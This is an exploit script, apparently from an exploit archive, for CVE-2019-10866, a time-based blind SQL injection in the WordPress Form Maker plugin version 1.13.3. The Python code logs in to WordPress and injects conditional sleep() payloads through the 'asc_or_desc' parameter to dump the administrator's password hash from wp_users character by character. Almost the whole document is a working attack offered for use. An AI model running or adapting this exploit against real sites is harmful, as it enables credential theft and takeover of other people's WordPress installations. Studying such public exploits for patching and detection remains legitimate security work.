WordPress Plugin Form Maker 1.13.3 - SQL Injection

# -*- coding: utf-8 -*-
# Exploit Title: WordPress Plugin Form Maker 1.13.3 - SQL Injection
# Date: 22-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://10web.io/plugins/
# Software Link: https://wordpress.org/plugins/form-maker/
# Version: 1.13.3
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-10866

import requests
import time

url_vuln = 'http://localhost/wordpress/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&asc_or_desc='
session = requests.Session()
dictionary = '@._-$/\\"£%&;§+*1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
flag = True
username = "username"
password = "password"
temp_password = ""
TIME = 0.5

def login(username, password):
    payload = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Login',
        'redirect_to': 'http://localhost/wordpress/wp-admin/',
        'testcookie': 1
    }
    session.post('http://localhost/wordpress/wp-login.php', data=payload)

def print_string(str):
    print "\033c"
    print str

def get_admin_pass():
    len_pwd = 1
    global flag
    global temp_password
    while flag:
        flag = False
        ch_temp = ''
        for ch in dictionary:
            print_string("[*] Password dump: " + temp_password + ch)
            ch_temp = ch
            start_time = time.time()
            r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b')
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            temp_password += ch_temp
            len_pwd += 1

login(username, password)
get_admin_pass()
print_string("[+] Password found: " + temp_password)